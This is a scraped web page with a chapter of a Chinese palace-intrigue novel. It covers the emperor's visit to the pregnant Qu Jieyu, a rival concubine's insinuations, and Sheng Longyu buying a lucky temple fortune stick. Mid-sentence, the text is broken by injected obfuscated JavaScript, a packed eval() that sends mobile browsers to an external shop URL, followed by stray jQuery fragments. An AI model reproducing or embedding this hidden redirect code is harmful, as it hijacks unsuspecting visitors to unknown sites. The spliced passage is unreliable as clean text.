文趣网 > 都市小说 > 娘娘她只想上位 > 74. 第七十四章
    凤栖安离开了飞琼楼。

    听闻这消息的梅妃,并没有在意疏影绘声绘色地描述着当时的璟昭容脸色是如何如何的难看,飞琼楼在皇上离开后又是如何如何的冷清。

    梅妃微微哂笑,这才哪到哪也能称得上冷清?

    后宫中若璟昭容和自己这儿,都算冷清的话,其他宫岂不是与冷宫无异。

    她在意的是,皇上到底是紧张皇嗣,还是紧张屈婕妤。赵溪亭等人说得有鼻子有眼,她还是半信半疑。

    若是假的,一个注定不会多受宠的嫔妃即便诞下皇子又如何。在她眼里,如何比得过皇后和璟昭容的碍眼程度。

    倘若是真的……梅妃面上的表情越发寡淡。

    浮元阁内,屈楚楚在喝汤药,见皇上来她忙要起身,在他安抚的示意下没有坚持。

    “怎么不适,太医来瞧过了吗?”

    凤栖安坐在旁边,右手搭在自己左手的手腕上,耐着性子一点一点地拨弄着玉珠串。

    她全然看在眼中,有些怔然,话不自觉地脱口而出:“嫔妾无碍,只是慧诗、巧珍她们紧张过头,妾竟不知巧珍还去请您过来。

    “打搅了您和璟昭容姐姐实在是过意不去,等妾好些了定要去璟昭容那儿赔礼道歉。”

    “你身子为重,不必在意其他。况她……”凤栖安想到方才自己要离开时,盛珑玉强装生气实则眼睛里波澜不惊的情景,有些没滋没味。

    “璟昭容平日里看着是骄纵,但她识大体,不会介意些有的没的。”

    “……”屈楚楚紧抿了下嘴,“是……璟昭容姐姐一直是个很和善的人,嫔妾知道。”

    屈楚楚喝下最后一口药,拿起帕子擦拭嘴角的工夫,余光不自觉瞥见了皇上,发现他在笑。

    似有若无的笑,眉目舒展眼睛里含着一抹缱绻的情愫,兴许他自己都没察觉。

    他们刚刚说起的,只有璟昭容。他在为谁而笑?

    扑通——

    屈楚楚突然捂住了心口,陌生的感觉席卷了她的身体,四肢发寒,连慧诗递过来压苦味的蜜饯都失去了甘甜。

    只一瞬,下一刻就被进来通传的巧珍打破了此时纷飞的心绪。

    “皇上,小主,赵美人小主来了。”

    赵溪亭是听说了皇上在这儿后才来的也好,是屈楚楚差人去请的也好,反正她是打着看望的幌子来的。

    “妾参见皇上,皇上圣安。见过屈婕妤,听闻姐姐不适,妹妹不请自来,没想到皇上也在。”

    “坐吧。”凤栖安随意摆了摆手。

    她二人姐妹情深了片刻,赵溪亭状似无意说道,自己在浮元阁外好像碰见了璟昭容身边的竹夏在殿外转悠了一圈,也不知道是在干什么。

    “妾本想上前问话,没想到她很快就离开了。”

    屈楚楚停下了嘴巴咀嚼的动作,不着痕迹地飞快瞄了她一眼,又垂下眼帘继续吃那颗蜜饯。

    这点眼药上得似乎毫无作用,凤栖安对她的话置若罔闻,陪着屈楚楚说了会儿话,交代了几句。赵溪亭虽陪坐在旁边,但很难插进去话,就是说也得不到皇上什么回应。

    她看得出来,皇上搭理自己无非是看在屈楚楚的面子上。她不知道自己到底差在哪里,比不上盛珑玉就算了,凭什么连……

    “朕先回去了。”

    凤栖安站起来的同时,她俩也起身相送。

    赵溪亭含情脉脉:“皇上,妾代屈婕妤妹妹送您。”

    “你不是来看她的?不必。”他通透得看穿一切的眼神,将她定在原地。

    她好不容易鼓足的勇气,舍弃的矜持,在他面前一无是处。

    皇上离开后,赵溪亭咬着唇毫不客气地重重坐了回去,丝毫没把这里当成是别人的地方,差到极点的脸色说摆就摆。

    慧诗满腹牢骚不知该说与谁听,赵美人从初次侍寝起,能一步步爬到现在的位置,哪一点不是自家主子帮她的?她有什么资格在主子面前摆谱啊?

    “我回去了。”没有皇上在,赵溪亭一刻都不想逗留,硬邦邦地吐出几个字就要走。

    屈楚楚对着她的背影轻笑一声:“你不该在皇上面前提到璟昭容,他心心念念的人,你以为说两句就能让他生厌?”

    “屈婕妤还是好好养胎吧,比起讨厌盛珑玉,我可比不上姐姐。恐怕盛珑玉自己也该满头雾水吧,选秀期间出手相助过数次的妹妹,居然因妒生恨。升米恩斗米仇,还有比这句更适合你的话吗?”

    赵溪亭头都未回,狠狠地砸下一番话,径直拂袖离开。

    “……彼此彼此吧。”人已离开,屈楚楚的这句话就只是喃喃自语。

    慧诗在一旁恨不得自己是个聋子什么都听不见,瑟瑟发抖。

    -

    凤栖安回了清悠殿就召来人,问飞琼楼出什么事了。他还能不知道某位女子,让竹夏来必定是有事,但人没进来通报也定是改了主意。

    回话的是汤皓。

    他想了片刻,不确定地说:“若要说的话应当只有,太后让崔妃和璟昭容陪同去嶚山上的青无寺。”

    “现在?”

    “太后说要住一夜,明日黄昏再归。”

    “啧。”凤栖安把手里的折子一扔,“没一个让朕称心。”

    汤皓跟在他身边久,又是陪皇上出生入死过的,看得分明他眼里藏着一缕戾气。

    他今天心情似乎格外差,在飞琼楼时还不显,出来后愈发明晰。最让汤皓惊讶的是,飞琼楼内的皇上并非心情不差,而是伪装得太好,以至于他之后才觉出来。

    璟昭容对皇上的影响,越来越深了。汤皓不清楚,这到底算不算好事。

    “啪嗒。”

    一根卦签掉在地上,跪在蒲团上的盛珑玉捡起来还没看,旁边的崔妃表情奇怪地盯着她好一会儿。

    “怎么了?”她好像头顶长了眼睛一般,不抬头都能看清崔妃的一举一动。

    崔妃悄悄瞥了眼旁边跪坐于矮案后的小沙弥,没忍住:

    “你不是不信这些吗?”怎么比我还虔诚?!

    “啧。”盛珑玉也跟着轻声,“臣妾是替皇上求的。”

    “为何啊?”据她所知,她那位高深莫测的皇上表弟,对神佛之说利用归利用,实则嗤之以鼻。

    “皇上今日心情不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17758295|205395||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好,所以我想为他求上一枚上上签,没准他就心情好了呢。便是没好,要是皇上知道我出来陪太后礼佛都心里惦念着他,岂不美哉。”

    她冲崔妃俏皮机灵地眨了下眼睛,让崔妃搞不懂她究竟是真这么想的,还是在揶揄打趣。

    不过在看到盛珑玉手上的那支签后,崔妃不客气地笑了。

    “妹妹要是把它送给皇上,恐怕不美哉。”

    盛珑玉这会儿也看见了——一支下下签。

    她神思恍惚,恍惚着恍惚着,就把那支下下签重新恍惚回签筒了,两手环抱着筒,俨然一副当作什么都没发生的样子,要重新“第一次”抽签。

    旁边打坐的小沙弥,声音幽幽:“女施主,吉凶祸福皆由天定,因果轮回难变,你既已抽中便是定数。”

    “冬见。”盛珑玉开口叫人,“我与佛有缘,添上十两香油钱。”

    “阿弥陀佛,我佛慈悲,不忍贵客陷于迷障脱身不得。所谓天衍四九,人遁其一。”

    崔妃眼睁睁地看着那小沙弥连脸色都丝毫未变,口中的说辞顿时换了一套,就在十两银子之间……

    哦,不对,不止。

    是整整一百两。

    第十一次,盛珑玉终于抽到了一枚她想要的上上签,她给崔妃看的时候,崔妃都是双手捧着的。

    “签筒里到底有几支下下签?该不会都是为了……”多添点香油钱吧。

    崔妃腹诽。

    小沙弥笑呵呵地冲两位贵客合手,躬身行礼,顺带为她解了惑:

    “施主莫恼,每一只签筒里仅有两枚下下签。对这位贵客而言,前面的十次都是佛祖的考验、是幻障,拨开您心中的迷雾,会发现前路一片坦荡。”

    盛珑玉唇角微弯,“承小师傅吉言。”

    “您发现的未必是事情的全貌,有时候往后退一步、等一等,才会看清全部的真相。”

    小沙弥最后的这句话,让她眼底闪过一丝错愕,不禁思忖小师傅是否看出了自己求签时的心不在焉。

    她二人和身后的宫女们一同踏出大殿,出门的瞬间,兴许是因为盛珑玉还在出神,手里没捏紧的价值一百两的上上签,掉在了地上。

    果真是强求来的缘分,急转直下。

    冬见比她反应更快,连忙把卦签捡了起来,递回给自家娘娘。

    “天下盛名的万寺之尊,竟是这个样子。”崔妃不住摇晃着脑袋,她信佛却没虔诚到姑母那种程度,遇庙拜佛其实更多是被耳濡目染出来的。

    盛珑玉轻笑:“神佛俯瞰众生,无悲无喜,信众行走世间,哪那么容易跳脱六道之外。”

    崔妃诧异地望她,嘟囔着:“你和表弟还真像。”

    这话说得悄声,她并没有听见。

    更何况,盛珑玉捏着手里的卦签,眼神已飘向几丈之外,看见两道熟悉的身影在竹林边碰了面。

    其中一个是她前些时间刚见过一面的周大人,而另一个人……也颇为眼熟。

    盛珑玉跟在崔妃身边往大殿后的上客堂而去,走出了十数步,她骤然顿住了脚步,错愕回身。

    她知道另一个人是谁了!